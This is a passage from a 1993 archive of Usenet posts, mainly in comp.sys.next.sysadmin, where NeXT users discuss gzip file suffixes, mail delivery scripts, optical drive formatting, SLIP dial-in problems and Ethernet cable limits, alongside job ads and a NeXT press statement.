not work the other way around (eg: the "unpack" program or whatever it's
called cannot de-compress gzip'ed files.)
Big deal. I've never run across a ".z" file in my fairly wide wanderings.
Even so, I'd still be able to unpack it with gzip. If one is worried about
causing confusion with suffixes, I suggest they add a suffix like ".gzip.z"
instead of the plain ".z". I see this format becoming very quickly adopted
due to it's large savings in file space, and I think that people will
appreciate the inclusion of .z in Opener.app tables.
--
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CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
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From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installing fonts (NS 2.2)
Message-ID: <1149@rtbrain.rightbrain.com>
Date: 19 Mar 93 00:28:34 GMT
References: <1993Mar17.213158.12907@newshub.ccs.yorku.ca>
Sender: glenn@rightbrain.com
Joel Atkin writes
> I've tried to install some fonts but nothing seems to appear in the
> Font panel. All the *.font directories are in the ~/Library/Fonts
> directory and each *.font directory contains the appropriate font
> metrics file and font outline file. Afterwards, I launched the
> buildafmdir programme for this directory. Still, nothing is appearing
> in the Font panel.
>
> What am I doing wrong?!?
You're not buying fonts from a vendor that supports them and ships them
with a Font Installer application :-)
We (RightBrain Software) resell the Adobe Type Library for NeXT computers,
and we have something like 1500 fonts to choose from. Drop a message to
"info@rightbrain.com" for more info. They're guaranteed to install
correctly and work without incident, and they're very high-quality Type 1
fonts from the creators of PostScript (and the built-in system fonts
on your NeXT), Adobe Systems.
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: processes
Message-ID: <6254@blue.cis.pitt.edu>
Date: 19 Mar 93 04:06:07 GMT
Sender: news+@pitt.edu
In 3.0 when I type ps -aux I see precesses with id -1.
Their number seems to grow with time after booting and there are many
of them. What are these and how many should there be? Is it normal to
have twenty or so?
yygold@yadin.phyast.pitt.edu
Newsgroups: comp.sys.next.sysadmin
From: michel@unomain.teaser.com
Subject: NewsGrazer problem
Message-ID: <1993Mar18.155000.9321@unomain.uucp>
Sender: michel@unomain.uucp (Michel Gutierrez)
Organization: Matra Communication
Date: Thu, 18 Mar 1993 15:50:00 GMT
Hi,
I have a problem using NewsGrazer 72.2.
I have two NeXT stations on my network. One is the mail and
UUCP server. When I try to post an article from this machine,
it works.
When I try to post from the other one, an error occurs immediately:
Post failed:/Net/unomain/usr/lib/news/inews:tear: not found
/tmp/in885hdr: No such file or directory
/tmp/in885body: No such file or directory
/Net/unomain/usr/lib/news: lost news; cat status 1
/Net/unomain/usr/lib/news/inews: article in
/Net/unom1/Users/michel/dead.article
Directories /usr/lib/news and /usr/spool/news/ are exported from
the server to the other machine. The mailer is working well on
both machines. I really don t understant.
Anybody has an idea ?
Thanks
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Phone: (33)1.34.60.87.48
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: gzip - New Compression Code from GNU
In-Reply-To: eps@futon.SFSU.EDU's message of Thu, 18 Mar 1993 07:53:02 GMT
To: eps@futon.SFSU.EDU (Eric P. Scott)
Message-ID: <CEDMAN.93Mar18213635@capitalist.princeton.edu>
Originator: news@nimaster
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Organization: Princeton University
References: <7074@rosie.NeXT.COM> <1993Mar18.075302.3514@csus.edu>
Date: Fri, 19 Mar 1993 01:36:35 GMT
In article <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes:
In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes:
>Following are excerpts from a recent posting in gnu.announce by
>the good folks at the Free Software Foundation.
>> Files compressed with this new
>> compression program end in `.z' (as opposed to `compress'-compressed
>> files, which end in `.Z').
EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed)
files. I guess FSF really wants to piss off the System V
community!
Yes, just one more reason to use it.
Help stamp out SysV in our lifetimes !
Carl Edman
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From: lupson@geom.umn.edu (Linus Upson)
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <C43JoA.FDA@news2.cis.umn.edu>
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References: <1993Mar18.075302.3514@csus.edu>
Date: Thu, 18 Mar 1993 18:07:19 GMT
In article <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P.
Scott) writes:
> In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes:
> >Following are excerpts from a recent posting in gnu.announce by
> >the good folks at the Free Software Foundation.
>
> >> Files compressed with this new
> >> compression program end in `.z' (as opposed to `compress'-compressed
> >> files, which end in `.Z').
>
> EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed)
> files. I guess FSF really wants to piss off the System V
> community!
>
> Y'all send them nastygrams NOW.
File extensions (along with Obj-C class & method names) are evil
manifestations of global variables. Once file extensions are burnt up,
they're gone forever (kinda like the rain forest), so make them long and
descriptive. I would suggest .filecompressedbythegnugzipprogram, or
alternatively, .gzip.
Linus Upson
The Geometry Center
lupson@geom.umn.edu
"Global variables... they're everywhere!"
Newsgroups: comp.sys.next.sysadmin
From: edmtl@alf.uib.no (Thor Legvold)
Subject: HELP - dialin won't work.
Message-ID: <1993Mar19.151318.29817@alf.uib.no>
Organization: University of Bergen, Norway
Date: Fri, 19 Mar 93 15:13:18 GMT
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: My Neighborhood Disappeared!
Message-ID: <6288@blue.cis.pitt.edu>
Date: 19 Mar 93 14:54:41 GMT
References: <1oaf41INNdja@senator-bedfellow.MIT.EDU>
Sender: news+@pitt.edu
In article <1oaf41INNdja@senator-bedfellow.MIT.EDU>
zmonster@athena.mit.edu (Eric M Hermanson) writes:
> You know how when you click the folder of another user, its icon is
supposed
> to be a "neighborhood" of houses? Well on my standalone turbo color
station,
> when I click the home folder of the "me" account or my roomates account,
> Thanks again,
> Eric
This happens if you choose the large file system option in preferences.
If you will cancell this choice the neighborhood icon will return.
Yadin.
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: My Neighborhood Disappeared!
Message-ID: <6289@blue.cis.pitt.edu>
Date: 19 Mar 93 14:56:26 GMT
References: <1oaf41INNdja@senator-bedfellow.MIT.EDU>
Sender: news+@pitt.edu
In article <1oaf41INNdja@senator-bedfellow.MIT.EDU>
zmonster@athena.mit.edu (Eric M Hermanson) writes:
> You know how when you click the folder of another user, its icon is
supposed
> to be a "neighborhood" of houses? Well on my standalone turbo color
station,
when I click the home folder of the "me" account or my roomates account,
there are no houses. What is the problem?
> Eric
This happens if you choose the large file system option in preferences.
If you will cancell this choice the neighborhood icon will return.
Yadin.
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: My Neighborhood Disappeared
Message-ID: <6290@blue.cis.pitt.edu>
Date: 19 Mar 93 14:57:45 GMT
Sender: news+@pitt.edu
In article <1oaf41INNdja@senator-bedfellow.MIT.EDU>
zmonster@athena.mit.edu (Eric M Hermanson) writes:
> You know how when you click the folder of another user, its icon is
supposed
> to be a "neighborhood" of houses? Well on my standalone turbo color
station,
when I click the home folder of the "me" account or my roomates account,
there are no houses. What is the problem?
> Eric
This happens if you choose the large file system option in preferences.
If you will cancell this choice the neighborhood icon will return.
Yadin.
From: dan@quiensabe.az.stratus.com (Dan Danz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail.app Leave My /usr/spool/file alone
Date: 19 Mar 1993 15:36:09 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <1ocp99$95p@transfer.stratus.com>
References: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca>
System Administrator (whoever that really is) writes
> Eric Kolotyluk (eric@cs.sfu.ca) wrote:
> : reply to: eric@sfu.ca
> :
> : It is extemely frustrating to run Mail.app on a network of Suns.
> : While running Mail.app is a nice way to minimize disk utilization
> : in the /usr/spool partition, it drives me (an my users) nuts when
> : you go back to running a `regular' mail program like, mail, elm,
> : mailtool, etc.
> :
> : Is there a way to make/configure Mail.app to leave you mail in
> : the /usr/spool/file?
>
> Not that I know of; BUT
> you can do this:
> 1. Tell elm that your folders are in ~/Mailboxes
> 2. cd ~/Mailboxes
> 3. For everything except Active.mbox
> link $name -> Mailboxes/${name}.mbox/$name
[..omitted..]
Well, I use ELM but in a slightly different way that might be of interest to
Eric as well.
One of the reasons I use ELM is that I frequently telnet into my NeXT(s) from a
non-NeXT system. It was annoying that the Mail.app would pull things out of
/usr/spool/mail/{$USER}, but at the same time there were times when I had to
have NeXT's Mail.app read the mail because it was sent in NeXT format.
The solution was three-fold:
1. You can tell Mail.app to look in a different directory (but not
a different file in that directory)
Change Mail.app Info.../Preferences/Expert/Spooldir to be ${HOME}/Mail.
(expand ${HOME} when you enter this). The actual file will
will be ${HOME}/Mail/${USER}.
2. Make ELM use the same directory as your folder directory:
(In .elm/elmrc, maildir = ~/Mail
3. I use Chip Salzenberg's "Deliver" to preprocess incoming mail to redirect
NeXT-formatted mail directly to the file that Mail.app will look at, and
then I also send myself a non-Next reminder that I'll see under ELM.
This step is optional; you can get the same effect by saving the NeXT
formatted mail under elm, using the folder that is the same as your userid
(e.g. for me, =dan).
Here's an extract of my Deliver script (it triggers on the header
field "Next-Attachment")
SUBJECT=`header -f Subject ${HEADER}`;export SUBJECT
NEXT=`header -f Next-Attachment ${HEADER}`
if [ -n "$NEXT" ]; then
echo "${1}:Mail/${1}" # deliver to NextMail mailbox
echo "Forwarded to NextMail mailbox" | \
cat - ${HEADER} | \
/usr/ucb/Mail -s "${SUBJECT} {Next}" "$1"
else
echo "$1" # Keep the mail in regular spool file
fi
I've been using this technique for more than a year and am quite pleased
with it.
--
L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com
Sr Consulting Software SE NeXT Mail: dan@az.stratus.com
Customer Assistance Center Voice Mail/Pager: (602) 852-3107
Telecommunications Division Customer Service: (800) 828-8513
Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
From: anderson@sapir.cog.jhu.edu (Stephen Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail.app Leave My /usr/spool/file alone
Date: 19 Mar 93 12:15:17
Organization: Dept. of Cognitive Science, The Johns Hopkins University
Message-ID: <ANDERSON.93Mar19121517@sapir.cog.jhu.edu>
References: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca> <1ocp99$95p@transfer.stratus.com>
In-reply-to: dan@quiensabe.az.stratus.com's message of 19 Mar 1993 15:36:09 GMT
I use MH in a way quite similar to the one described by Dan Danz for
ELM. What I do, briefly, is to have the mh program "slocal" (yes, I
know this is a much maligned utility, but it works for me....) sort
the stuff that arrives in /usr/spool/anderson into three separate
spool files in my home directory: one for NeXTmail, one for stuff from
a mailing list ("Linguist"), and one for other non-NeXTmail. That way,
I can read NeXTMail with Mail.app when there is some, or use mh to
read other mail either from a terminal or within Emacs. What's
necessary (besides setting the default directories for Mail.app and
mh) is a .forward file to send stuff to slocal and a .maildelivery
file to tell slocal how to sort it out.
This works particularly well because I was sent a mail notifier called
"MailMan" some time ago by Jeff Kight (<jkight@american.edu>) which
watches two different mailboxes (one for NeXTmail and one for regular
mail), and flashes in one or both of two distinctive ways when there's
unread mail in either or both of them. I'd post this, but I don't have
any right to publish his work :-)
Anyway, just to make it clear how simple this is I append the entire
contents of my .forward and .maildelivery files.
--Steve Anderson
(.forward)
| /usr/local/mh/lib/slocal -user anderson
(.mailelivery)
Next-Attachment 0 > A /home/sapir/anderson/Mailboxes/anderson
From "The Linguist List" > A /home/sapir/anderson/Mail/Linguist.spool
default - > ? /home/sapir/anderson/Mail/Spool
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.advocacy
Subject: Pencom Software Seeks 8 NeXT Engineers (North America)
Message-ID: <7087@rosie.NeXT.COM>
Date: 19 Mar 93 17:36:48 GMT
Sender: news@NeXT.COM
Followup-To: comp.sys.next.programmer
Pencom Software Seeks 8 NeXT Engineers
Location: North America (Northeast, Midwest, Texas)
AUSTIN, TEXAS - March 18, 1993 - Pencom Software's team of NeXT
engineers are specifically dedicated to serving both developers and
end user organizations equipped with workstations and software from
NeXT Computer, Incorporated.
Already a NeXT-authorized systems integrator as well as a registered
NeXT software developer, Pencom is expanding the service to
capitalize on the resent announcements made by NeXT Computers.
Pencom continues to be the leader for NeXT software development and
consulting services, and has never been more dedicated to the NeXT
environment than now.
Pencom Software is a division of Pencom Systems Incorporated, a New
York-based firm providing software engineering and manpower resources
to Fortune 500 companies and leading computer firms since 1973.
Currently the largest recruiting firm specializing in the UNIX/Open
Systems market, Pencom employs over 500 people and maintains a large
heterogeneous network of workstations including more than 70 NeXT
machines.
For more information, contact:
Clint Tomlinson - Manager, NeXT Recruiting
Pencom Software
9050 Capital of Texas Highway North
Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512-346-6444
E-Mail: clint@pencom.com
The following positions are available nationwide (US):
Texas
1 - Object Oriented Programmer
* 2+ years Object Oriented Programming (C++/Objective C)
* 2+ years database design and database applications
* 5 years UNIX/C application development
* 2+ years RDBMS (SYBASE preferred)
* 1+ years NeXTSTEP applications development
* AIX/RS6000 programming
* AppKit, DBKit, NeXTSTEP 3.0, OOD
* GUI and Porting experience
1 - Software Support/Programmer
* Xwn/Xserver programming
* UNIX/C/Objective C/Postscript
* X/NeXTSTEP, co-Xist
* Good oral and written skills
* Technical support a plus
* Marketing experience a plus
Northeast
1 - Database Specialist
* 3+ years database design and database applications
development (ORACLE/SYBASE preferred)
* 3 years UNIX/C application development
* 3 years RDBMS experience using an SQL-based RDBMS
* 1+ year NeXTSTEP applications a plus
* AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective C a plus
Mid-West
2 - Senior Applications Development Engineer
* 5-7 years UNIX/C applications development
* Financial trading applications
* 1+ years NeXT/NeXTSTEP/AppKit/ DBKit/Objective C
* Sun, SYBASE/C++ a plus
3 - Software Engineers
* NeXT/UNIX application software development
* Strong NeXTSTEP, AppKit, Interface Builder, DBKit
* High level design, rapid prototyping in NeXT
* Strong Objective C or C++
* 3 to 5 years experience
Sorry, these positions require Permanent Residence and
2+ years industry experience..Thank you for your understanding...
More positions available soon!!
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.misc,comp.sys.hp,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: NeXT Public Statement on the Uniforum/UNIX Unification Announcements
Message-ID: <7097@rosie.NeXT.COM>
Date: 19 Mar 93 18:47:31 GMT
Sender: news@NeXT.COM
Followup-To: comp.sys.next.misc
NeXT Public Statement on the Uniforum/UNIX Unification Announcements
UNIX LEADERS ANNOUNCE COMMON OPEN SOFTWARE ENVIRONMENT (COSE)
"SAN FRANCISCO (MARCH 17) BUSINESS WIRE - Worldwide UNIX
system leaders Hewlett-Packard Co., IBM Corp., The Santa
Cruz Operation Inc., Sun Microsystems Inc., Univel and
UNIX System Laboratories Inc. Wednesday announced their
intent to deliver a common open software environment across
their UNIX system platforms...."
NeXT applauds efforts driven by HP and IBM to begin to unify core
elements of the Unix operating system. NeXT has been and will
continue to follow these developments closely. We actively endorse
these efforts, particularly the goal of creating a common, portable
API layer. We have an engineering team evaluating how a future
version of NeXTSTEP could support this layer, and how NeXTSTEP's
leadership in object-oriented systems might add value to emerging
Unix API standards.
"Besides challenging Microsoft, the new Unix
alliance deals a serious blow to the already
reeling NeXT Inc., led by Steven P. Jobs. Mr.
Jobs, who last month abandoned his computer
business in favor of pushing NeXT's operating
program, has been scrambling to win the support
of Sun, H-P, Novell and others....
"Edward Zander, chief of Sun's software unit,
said the alliance decided to reject Mr. Jobs'
software and embrace a set of specifications,
called an interface, that will make applications
written for any variant of Unix look and work the
same to a customer. "We never considered NeXT
...because their software never developed a big
enough following," Mr. Zander said.
Sun's comments about NeXT and NeXTSTEP are completely inaccurate.
Indeed, beyond defining how NeXTSTEP can add value to these emerging
standards, NeXT is also working closely with individual members of
the new Unix coalition.
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: restoring a corrupted dump
Date: 19 Mar 1993 21:42:33 GMT
Organization: Computer Science Department at Rose-Hulman
Message-ID: <1odeo9INN65r@master.cs.rose-hulman.edu>
When trying to restore from a dump to an exabyte tape drive, the restore
program keeps prompting for a second tape. The problem is that the dump
went onto 1 tape (not 2). It appears the info in the restoresymtable
which is the first file on the tape may be corrupted. Does anyone have a
solution (program) for restoring this data?
--
-Randy Nelson
Workstation Support Manager
Rose-Hulman Institute of Technology
Email: Randy.Nelson@Rose-Hulman.Edu
From: kheit@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: HELP! Get get a SCSI OD to work on NeXT.
Keywords: OD help optical
Message-ID: <Mar.19.19.24.31.1993.10036@gandalf.rutgers.edu>
Date: 20 Mar 93 00:24:31 GMT
Followup-To: comp.sys.next.hardware
Organization: Rutgers Univ., New Brunswick, N.J.
Hi all,
I need help with an Optical Drive that I picked the other
day. Its not one of the newer super fast drives, but I know
its ISO compliant. Its a Richo 600 meg drive.
Anyway, If I put in an apple formated OD everything works
great, but if I try to format a blank OD, or reformat an
apple OD, then my machine just spits out the OD an gives
console errors (which are included in the post--down below).
Maybe this is one of those mystical disktab problems Ive
been hearing about. Anyway, I would greatly appreciate any
help in getting this OD drive to work. I got some info
on the drive and its listed below.
many blessings and thanks in advance :)
Later, John
***Info on the unit***
localhost:1# disk /dev/rsd1a
disk name: RICOH RO-5030E2
disk type: removable_rw_scsi
Disk utility
disk> quit
localhost:2# scsimodes /dev/rsd1a
SCSI information for /dev/rsd1a
Drive type: RICOH RO-5030E2
64548 bytes per sector
1023 sectors per track
0 tracks per cylinder
0 cylinder per volume (including spare cylinders)
Host bad block handling
8192 alternate tracks per volume
576998 usable sectors on volume
***Inserting an apple OD and trying to format it as a NeXT OD***
Mar 19 15:25:07 Workspace: Mounted scsi disk at /New Disk
Mar 19 15:25:13 Workspace[134]: DeviceInitPanel - Cannot select the default (cho
osing NeXT instead)
Mar 19 15:25:19 Workspace: Unmounted foreign disk at /New Disk
/usr/etc/disk -i -h localhost -l "New Disk" /dev/rsd1a
sd1 (2,0): ERROR op:0x1a sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x24
SCSI Block in error = 0 (no valid label)
disk name: RICOH RO-5030E2
disk type: removable_rw_scsi
writing disk label
creating new filesystem on /dev/rsd1a
/usr/etc/newfs -n -v /dev/rsd1a
/etc/mkfs /dev/rsd1a 288339 1803 2 8192 1024 16 10 60 4096 t
cylinder group too large (16 cylinders); max: 15 cylinders per group
/usr/etc/newfs /dev/rsd1a failed (status 1)
Mar 19 15:35:19 localhost WindowServer[128]: IPCFlushOutput: failed to flush out
put for stream 0x273408.
***Inserting a non-apple OD***
Target 2: BUSY; retry 1
sd1 (2,0): ERROR op:0x1a sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x24
SCSI Block in error = 0 (front porch)
Disk Label: New Disk
Disk Capacity 281MB, Device Block 512 bytes
Disk is Write Protected
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
From: henry@trilithon.mpk.ca.us (Henry McGilton)
Subject: How many People Still Running 2.x
Message-ID: <1993Mar20.191652.1841@trilithon.mpk.ca.us>
Sender: henry@trilithon.mpk.ca.us
Organization: Trilithon Software
Date: Sat, 20 Mar 1993 19:16:52 GMT
I'm interested to know how many people are still on 2.x
versus how many people have upgraded to 3.x. Is 2.x
still alive and kicking, or has everybody moved on to
Nirvana and 3.x?
........ Henry
Newsgroups: comp.sys.next.sysadmin
From: uunet!eps!steve (Steve Kornreich)
Subject: PORTAL info
Message-ID: <1993Mar21.071610.247@eps.com>
Sender: steve@eps.com
Organization: Electronic Publishing Services
Date: Sun, 21 Mar 1993 07:16:10 GMT
Does anyone have any opinion about PORTAL?. We are currently using UUNET for
our e-mail, and USENET stuff. Is there a NeXTStep frontend for using PORTAL?
Let me know...
Steve Kornreich
steve@eps.com
From: dylan@midiline.la.ca.us (Comrade D)
Newsgroups: comp.sys.next.sysadmin
Subject: /etc/disktab for Pinnacle PMO-650
Message-ID: <T09q1B1w165w@midiline.la.ca.us>
Date: Sun, 21 Mar 93 01:23:28 PST
Organization: MIDILine BBS - Altadena, CA - (818) 797-3285
Help! I've got to get this drive running as soon as possible.
Does anyone have the /etc/disktab entries for using a Pinnacle PMO-650
optical hard drive with the NeXT and 3.0?
Thanks in advance,
Dylan
P.S. Please reply to dylan@angst.com, not the above address.
-------------------------------------------------------------------
Dylan Kohler
dylan@angst.com (NeXTmail welcome)
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: .signature in NeXTmail again...
Message-ID: <1993Mar21.163904.9713@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Sun, 21 Mar 1993 16:39:04 GMT
Forgive my ignorance, but is there a way to have .signature added to your mail
window, that works both for NeXTmail and normal mail?
If I use the way described in the FAQ, can I still send NeXTmail?
--Gerben
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: HELP - dialin won't work.
Message-ID: <1993Mar21.165055.15042@alf.uib.no>
Date: 21 Mar 93 16:50:55 GMT
References: <1993Mar19.151318.29817@alf.uib.no>
Organization: University of Bergen, Norway
It seem that the text of my posting never made it out.
Here it is again...
Hi.
I'm trying to get SLIP to work (at this point, ANYTHING to work...)
I've configured a U1496E (ZyXEL) on my Cube (040), and am trying to enable
both dialout and dialin.
I have NXFax going, and it is set up _not_ to answer calls.
The modem's S register for auto answer is enabled.
I have edited /etc/gettytab and /etc/ttys to enable dialout and
dial in with flow control.
I have a proper cable.
The modem is configured to use hardware flow control, and auto handshaking.
When I send a fax, or dial about any BBS in the world, everything works
perfectly.
When I dial the SLIP server, I get a connect, followed by a string of
garbage characters (usually 'z's and tildes), but no login prompt. I tried
all bit/parity combinations I could (although it's set up to allow any)
without luck. I also tried connecting at lower, fixed speeds without luck.
The server is a Cube with an Intertex IX33. And proper cabling. The same
modem and cable works with UUCP on a friends NeXT, so I imagine the problem
lies between the modem answering (it does - and I get the CONNECT 14400
string) and getty starting the appropriate device and login, or that the
info from login gets ruined by the modem. Yes - getty is running and listening
to the correct line at the correct speed (/dev/cufa D9600).
Just for fun I set up my NeXT to accept dial in (followed the NeXT sys admin
books and FAQ/NeXTanswers to the letter) and tested it from a friends PC.
I got CONNECT just fine, but nothing after that. I tried several times,
without luck. What am I doing wrong??? Do all NeXT's have a problem with
dialin? I think not, but I can't figure out what's wrong.
I remember seeing this problem some time (years) ago, but I don't remember
how I fixed it. It seems to me there is something simple I've missed...
If someone would be kind enough to help out, I can send a copy of my
/etc/ttys and /etc/gettytab, or other relevant information.
Update - I got CONNECT 1200/MNP5 yesterday evening. Unfortunatly I
was using kermit, not SLIP, but I logged in and verified the connection.
When I retried with SLIP I got the same old problem. Strange.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
From: andrew@stone.com (Andrew Stone)
Newsgroups: comp.sys.next.sysadmin
Subject: Thin Net Length Limits: Real or Imaginary?
Keywords: Ethernet
Message-ID: <1993Mar21.151602.228@stone.com>
Date: 21 Mar 93 15:16:02 GMT
Article-I.D.: stone.1993Mar21.151602.228
Sender: andrew@stone.com
Organization: Stone Design Corp
I am interested in discerning what the actual length limit of a "thin
wire" ethernet LAN is - I've heard various figures: 600', 1500'.
If you have hard data on any installation which approaches these limits,
I'd be interested in hearing how the performance is, or what additional
hardware you have added to deal with slow packets down a long run.
Thanks!
andrew
--
||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
!! Andrew Stone !! (505) 345-4800 !!
!! andrew@stone.com <> Stone Design Corp !!
||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: ixbuild problems
Keywords: ixbuild, indexes, bugs
Message-ID: <1oij62INN43t@theborg.stack.urc.tue.nl>
Date: 21 Mar 93 20:28:50 GMT
Organization: the Borg
Hello networlders,
While I was updating my index for the manual pages (/usr/man, /usr/local/man) I
had a problem with ixbuild: it exited with a bus error. It visited all manual
pages and after that it crashed. I gave it the following options: agcsuv.
Can anyone shed some light on this?
When I started Digital Librarian and did a manual update, I could search
through the entries though my .index.store files has become remarkably
smaller...
Thanks for your help,
Annard
Newsgroups: comp.sys.next.sysadmin
From: yf5990@u.cc.utah.edu (Yan Fang/Humanities)
Subject: Re: My Neighborhood Disappeared!
Message-ID: <1993Mar22.031429.14854@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center Student Mail Machine
References: <1oaf41INNdja@senator-bedfellow.MIT.EDU> <6289@blue.cis.pitt.edu>
Date: Mon, 22 Mar 93 03:14:29 GMT
In article <6289@blue.cis.pitt.edu> yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) writes:
>In article <1oaf41INNdja@senator-bedfellow.MIT.EDU>
>zmonster@athena.mit.edu (Eric M Hermanson) writes:
>> You know how when you click the folder of another user, its icon is
>supposed
>> to be a "neighborhood" of houses? Well on my standalone turbo color
>station,
> when I click the home folder of the "me" account or my roomates account,
>there are no houses. What is the problem?
>
>> Eric
>
>This happens if you choose the large file system option in preferences.
>If you will cancell this choice the neighborhood icon will return.
>Yadin.
It also happens if you build a new account and use the Workspace to copy
or move your old files into the new places. There's something weird about
a file in .NeXT that will make your account look like it's the only one in
the machine, i.e., the neighborhood goes away.
km
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Thin Net Length Limits: Real or Imaginary?
Message-ID: <1993Mar22.062036.5995@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Mar21.151602.228@stone.com>
Date: Mon, 22 Mar 1993 06:20:36 GMT
In article <1993Mar21.151602.228@stone.com> andrew@stone.com
(Andrew Stone) writes:
>I am interested in discerning what the actual length limit of a "thin
>wire" ethernet LAN is - I've heard various figures: 600', 1500'.
For "thin wire" (10base2) it's 185m (600'). Maximum of 30 breaks
(each tee or barrel counts). The minimum separation between nodes
is pretty small (I think it's .5m, but don't quote me on that).
NO cable is permissible between tees and tranceivers.
Some vendors (e.g. 3Com) build hardware that can exceed the
standard limits, but only if you use their stuff exclusively.
Repeaters, bridges, routers, etc. "legally" allow you to
exceed the limits of a single cable. 10base5 ("thick wire")
generally has higher limits and 10baseT ("UTP") lower limits.
If you want The Whole Story, ask on comp.dcom.lans.ethernet.
Are the limits real? In a word: yes. But there isn't some
infinitely steep boundary between working and nonworking. You'll
see erratic behavior long before it craps out completely.
Sometimes things will work perfectly, sometimes the network will
be "slow," sometimes particular nodes will have trouble
communicating--but the others seem OK, sometimes you'll get NFS
complaints, etc.
-=EPS=-
From: alexhart@blackx (Alex Hartley)
Newsgroups: comp.sys.next.sysadmin
Subject: '30 plus '40 slab
Date: 22 Mar 1993 10:18:05 GMT
Organization: CERFnet
Distribution: world
Message-ID: <1ok3otINN1d7@news.cerf.net>
slab
--
Alex Hartley - NeXTmail preferred
Alex Hartley and Associates
Los Angeles, California
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From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: Thin Net Length Limits: Real or Imaginary?
Message-ID: <1993Mar22.152453.19783@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <1993Mar21.151602.228@stone.com> <1993Mar22.062036.5995@csus.edu>
Date: Mon, 22 Mar 1993 15:24:53 GMT
In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes:
>Are the limits real? In a word: yes. But there isn't some
>infinitely steep boundary between working and nonworking. You'll
>see erratic behavior long before it craps out completely.
>Sometimes things will work perfectly, sometimes the network will
>be "slow," sometimes particular nodes will have trouble
>communicating--but the others seem OK, sometimes you'll get NFS
>complaints, etc.
>
> -=EPS=-
There were ridiculously long cable lengths in a student lab here. The
diskless clients never noticed anything special. But if a client was
turned off, some other clients rebooted at the same time. A few months
ago, the cable length was reduced to the shortest possible path and
the problems went away.
But the cable length limit is primarily to make sure that collisions
can be detected reliably (it's the distance the first bit of the
shortest allowed packet may travel when the last bit is being sent).
-Marcel
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Hot Technologies Introduces Distributed Serial Port Kit
Message-ID: <7111@rosie.NeXT.COM>
Date: 22 Mar 93 17:55:53 GMT
Sender: news@NeXT.COM
Followup-To: comp.sys.next.programmer
News:
For further information, contact:
Robert La Ferla
Hot Technologies
75 Cambridge Parkway, Suite E-504
Cambridge, Massachusetts 02142-1238 USA
Phone: (617) 252 0088 or + 1 617 252 0088
Email: info@hot.com
FOR IMMEDIATE RELEASE
